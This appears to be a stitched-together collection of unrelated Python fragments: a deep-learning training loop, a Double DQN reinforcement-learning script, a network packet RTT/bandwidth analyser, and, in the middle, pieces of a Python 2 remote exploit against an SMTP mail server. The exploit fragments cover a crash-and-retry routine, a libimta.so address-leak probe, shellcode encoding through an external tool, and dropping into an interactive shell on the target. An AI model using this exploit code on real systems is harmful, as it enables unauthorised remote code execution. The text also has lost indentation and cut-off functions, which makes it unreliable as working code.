def main_worker(rank, args):
args.rank = rank
args = setup(args)
loaders = Data(args).get_loader()
model = Model(args)
optimizer = Optimizer(args, model)
if args.amp:
model = optimizer.set_amp(model)
model.parallelize()
criterion = Loss(args, model=model, optimizer=optimizer)
trainer = Trainer(args, model, criterion, optimizer, loaders)
if args.stay:
interact(local=locals())
exit()
if args.demo:
trainer.evaluate(epoch=args.startEpoch, mode='demo')
exit()
for epoch in range(1, args.startEpoch):
if args.do_validate:
if epoch % args.validate_every == 0:
trainer.fill_evaluation(epoch, 'val')
if args.do_test:
if epoch % args.test_every == 0:
trainer.fill_evaluation(epoch, 'test')
for epoch in range(args.startEpoch, args.endEpoch + 1):
if args.do_train:
trainer.train(epoch)
if args.do_validate:
if epoch % args.validate_every == 0:
if trainer.epoch != epoch:
trainer.load(epoch)
trainer.validate(epoch)
if args.do_test:
if epoch % args.test_every == 0:
if trainer.epoch != epoch:
trainer.load(epoch)
trainer.test(epoch)
if args.rank == 0 or not args.launched:
print('')
trainer.imsaver.join_background()
cleanup(args)
state = env_info.vector_observations[0]
state_size = len(state)
enable_gpu = False # Up to the user
gpu_available = torch.cuda.is_available() # Checks the environment
train_on_gpu = enable_gpu and gpu_available
if train_on_gpu:
device = torch.device('cuda')
else:
device = torch.device('cpu')
# watch an untrained agent
untrained_agent = DoubleDqnAgent(state_size=state_size,
action_size=action_size,
seed=0,
device=device)
watch(untrained_agent, env, brain_name)
agent = DoubleDqnAgent(state_size=state_size,
action_size=action_size,
seed=0,
device=device)
scores, best_avg_reward = interact(agent, env, brain_name, min_score=100.0)
plot(scores)
# watch the trained agent
agent.qnetwork_local.load_state_dict(torch.load('top_model.pth'))
watch(agent, env, brain_name)
env.close()
reply = smtpUtils.recvReply(sd)
except smtpUtils.smtpServerCrashed, err:
print "FAILURE!"
print "Target crashed -- probably because we were not talking to " \
"the correct thread."
self.attempt += 1
return self.exploit()
except smtpUtils.smtpError, err:
err.printMsg("")
return 1
if (challenge != reply):
print "FAILURE!"
print "Unexpected target response."
return 1
print "SUCCESS!"
utils.interact(sd)
sd.close()
return 0
def imtaTouch(self, bruteForce=False):
print "\nLooking for libimta.so:"
if (None == self.imtaBase):
imtaBase = 0xfe800000L
else:
imtaBase = self.imtaBase
try:
leakBuf, matchBuf = self.buildImtaLeakBuffers(imtaBase)
except IndexError, err:
print "out of addrs"
#self.crash()
#connect
os.execv(efile, args)
print "Local exec failed"
else:
reply = ad.recv(1024)
if ("" == reply):
print "Remote exec succeeded"
return 0
elif (-1 == utils.leS32StringToS32(reply)):
print "Remote exec failed"
else:
print "Received the following from afar:"
utils.dumpHex(reply)
return -1
elif (-1 == status):
print "status = %d" % status
utils.interact(ad)
return 0
def dulEncode(unencodedShellcode):
pathToDUL = "./DUL"
unencodedFile = "tmp.unencoded"
encodedFile = "tmp.encoded"
f=open(unencodedFile, 'w');
f.write(unencodedShellcode);
f.close()
os.system("%s %s %s > /dev/null" % (pathToDUL, unencodedFile, encodedFile))
f=open(encodedFile,'r');
#should only be one line
encodedShellcode = f.readline()
f.close()
if __name__ == '__main__':
#Parse commands
args = processCommand()
#Parse data
(inputFile, faultLineNum, Packets, baseTime) = parsePacket(args.inputFile)
#Get IP pair information
thisIPpair = ipPair(Packets, args.outputFile, args.subnet, args.port,
args.N)
logArr = thisIPpair.getLogArr()
#Get analysis IP pair
(desiredArr, labels) = interact(logArr, args.N)
#To see whether plot inter-arrival time
if interactBool("Do you want to plot inter-arrival time?"):
plotInterArrival(Packets, desiredArr, args.outputFile)
#To see whether plot RTT
if interactBool("Do you want to plot information about RTT?"):
datas = getRTT(Packets, baseTime, desiredArr, args.outputFile)
maxtime = getMaxTime(datas)
plotRTT(datas, labels, maxtime, args.outputFile)
plotRTTDistribution(datas, labels, args.outputFile)
#To see whether plot BandWidth
if interactBool("Do you want to plot information about Bandwith?"):
BW = bw(Packets, baseTime, desiredArr, args.outputFile)